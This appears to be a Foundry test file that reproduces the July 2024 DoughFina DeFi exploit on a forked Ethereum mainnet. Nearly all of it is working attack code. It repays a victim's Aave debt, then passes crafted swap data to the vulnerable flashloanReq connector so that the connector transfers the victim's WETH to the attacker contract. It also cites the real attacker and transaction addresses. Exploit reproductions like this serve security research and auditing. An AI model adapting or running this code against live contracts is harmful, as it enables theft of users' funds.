src/test/2024-07/DoughFina_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4// @KeyInfo - Total Lost : ~1.81M USD
5// TX : https://app.blocksec.com/explorer/tx/eth/0x92cdcc732eebf47200ea56123716e337f6ef7d5ad714a2295794fdc6031ebb2e
6// Attacker : https://etherscan.io/address/0x67104175fc5fabbdb5a1876c3914e04b94c71741
7// Attack Contract : https://etherscan.io/address/0x11a8dc866c5d03ff06bb74565b6575537b215978
8// GUY : https://x.com/CertiKAlert/status/1811668992882307478
9 
10import "forge-std/Test.sol";
11import "./../interface.sol";
12 
13interface ConnectorDeleverageParaswap {
14    function flashloanReq(
15        bool _opt,
16        address[] memory debtTokens,
17        uint256[] memory debtAmounts,
18        uint256[] memory debtRateMode,
19        address[] memory collateralTokens,
20        uint256[] memory collateralAmounts,
21        bytes[] memory swapData
22    ) external;
23}
24 
25contract ContractTest is Test {
26    IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
27    ConnectorDeleverageParaswap vulnContract = ConnectorDeleverageParaswap(0x9f54e8eAa9658316Bb8006E03FFF1cb191AafBE6);
28    IAaveFlashloan aave = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);
29    address onBehalfOf = 0x534a3bb1eCB886cE9E7632e33D97BF22f838d085;
30    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
31 
32    function setUp() public {
33        vm.createSelectFork("mainnet", 20_288_622);
34        deal(address(USDC), address(this), 80_000_000 ether); //FlashLoan
35    }
36 
37    function testExploit() public {
38        attack();
39        emit log_named_decimal_uint(
40            "[End] Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()
41        );
42    }
43 
44    function attack() public {
45        USDC.approve(address(aave), type(uint256).max);
46        aave.repay(address(USDC), 938_566_826_811, 2, address(onBehalfOf));
47        USDC.transfer(address(vulnContract), 6_000_000);
48        address[] memory debtTokens = new address[](1);
49        debtTokens[0] = address(USDC);
50        uint256[] memory debtAmounts = new uint256[](1);
51        debtAmounts[0] = 5_000_000;
52        uint256[] memory debtRateMode = new uint256[](1);
53        debtRateMode[0] = 0;
54        address[] memory collateralTokens = new address[](0);
55        uint256[] memory collateralAmounts = new uint256[](0);
56        bytes[] memory swapData = new bytes[](2);
57        swapData[0] = abi.encode(
58            address(USDC),
59            address(USDC),
60            type(uint128).max,
61            type(uint128).max,
62            address(onBehalfOf),
63            address(onBehalfOf),
64            abi.encodeWithSelector(
65                bytes4(0x75b4b22d), 22, address(USDC), 5_000_000, address(WETH), 596_744_648_055_377_423_623, 2
66            )
67        );
68        swapData[1] = abi.encode(
69            address(USDC),
70            address(USDC),
71            type(uint128).max,
72            type(uint128).max,
73            address(WETH),
74            address(aave),
75            abi.encodeWithSelector(bytes4(0x23b872dd), address(onBehalfOf), address(this), 596_744_648_055_377_423_623)
76        );
77        vulnContract.flashloanReq(
78            false, debtTokens, debtAmounts, debtRateMode, collateralTokens, collateralAmounts, swapData
79        );
80    }
81 
82    function executeAction(
83        uint256 _connectorId,
84        address _tokenIn,
85        uint256 _inAmount,
86        address _tokenOut,
87        uint256 _outAmount,
88        uint256 _actionId
89    ) external payable {}
90    receive() external payable {}
91}